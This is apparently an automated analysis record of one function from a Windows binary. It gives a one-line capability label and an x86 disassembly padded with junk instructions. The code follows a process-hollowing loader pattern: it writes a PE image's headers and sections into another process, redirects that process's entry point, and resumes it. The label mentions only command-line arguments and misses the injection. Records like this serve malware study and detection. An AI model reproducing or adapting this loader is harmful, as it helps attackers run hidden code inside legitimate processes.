Function at 0x401acc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x40307c
inc ecx
dec ecx
pushal
popal
inc ecx
dec ecx
nop
nop
mov eax, 0x410284
mov edx, 0xcc
call fcn.00401774
inc ecx
dec ecx
nop
mov dword [0x410138], 0x44
inc ecx
dec ecx
nop
mov byte [0x410368], 1
nop
inc ecx
dec ecx
nop
pushal
popal
push 0x410128
push 0x410138
push 0
push 0
xor eax, eax
mov al, byte [0x403074]
push eax
push 0
push 0
push 0
call fcn.00401574
push eax
push 0
call dword [0x41036c]
nop
pushal
popal
inc ecx
dec ecx
pushal
popal
inc ecx
dec ecx
pushal
popal
inc ecx
dec ecx
mov dword [0x410284], 0x10002
inc ecx
dec ecx
nop
pushal
popal
inc ecx
dec ecx
call 0x401a78
test al, al
je 0x401cfd
nop
pushal
popal
nop
inc ecx
dec ecx
mov eax, dword [0x410350]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x41037c]
inc ecx
dec ecx
inc ecx
dec ecx
pushal
popal
mov eax, ebx
mov edx, dword [eax + 0x3c]
add edx, eax
mov dword [0x410360], edx
mov edi, ebx
nop
nop
push 4
push 0x3000
mov eax, dword [0x410360]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [0x410360]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x410370]
mov dword [0x410350], eax
push 0x410358
mov eax, dword [0x410360]
mov eax, dword [eax + 0x54]
push eax
push ebx
mov eax, dword [0x410350]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x410384]
pushal
popal
inc ecx
dec ecx
pushal
popal
pushal
popal
mov eax, dword [0x410360]
call fcn.00401a60
mov dword [0x410364], eax
nop
nop
inc ecx
dec ecx
pushal
popal
nop
mov eax, dword [0x410360]
movzx ebp, word [eax + 6]
dec ebp
test ebp, ebp
jl 0x401c83
inc ebp
xor ebx, ebx
push 0x410358
lea esi, [ebx + ebx*4]
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 0x10]
push eax
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 0x14]
add eax, edi
push eax
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 0xc]
add eax, dword [0x410350]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x410384]
test eax, eax
je 0x401c7f
push 0x41035c
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 0x24]
call fcn.00401a54
push eax
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 8]
push eax
mov eax, dword [0x410364]
mov eax, dword [eax + esi*8 + 0xc]
add eax, dword [0x410350]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x410380]
inc ebx
dec ebp
jne 0x401c07
nop
nop
nop
push 0x410358
push 4
push 0x410350
xor eax, eax
mov al, byte [0x403074]
add eax, eax
add eax, dword [0x410328]
push eax
mov eax, dword [0x410128]
push eax
call dword [0x410384]
test eax, eax
je 0x401cf3
inc ecx
dec ecx
pushal
popal
inc ecx
dec ecx
inc ecx
dec ecx
mov eax, dword [0x410360]
mov eax, dword [eax + 0x28]
add eax, dword [0x410350]
mov dword [0x410334], eax
nop
nop
nop
inc ecx
dec ecx
nop
nop
nop
push 0x410284
mov eax, dword [0x41012c]
push eax
call dword [0x410378]
cmp eax, 1
sbb eax, eax
inc eax
mov byte [0x410368], al
nop
nop
nop
inc ecx
dec ecx
inc ecx
dec ecx
nop
inc ecx
dec ecx
nop
nop
nop
inc ecx
dec ecx
pushal
popal
cmp byte [0x410368], 0
jne 0x401d1b
push 0
mov eax, dword [0x410128]
push eax
call dword [0x410390]
jmp 0x401d27
mov eax, dword [0x41012c]
push eax
call dword [0x41038c]
inc ecx
dec ecx
nop
pushal
popal
nop
pop ebp
pop edi
pop esi
pop ebx
ret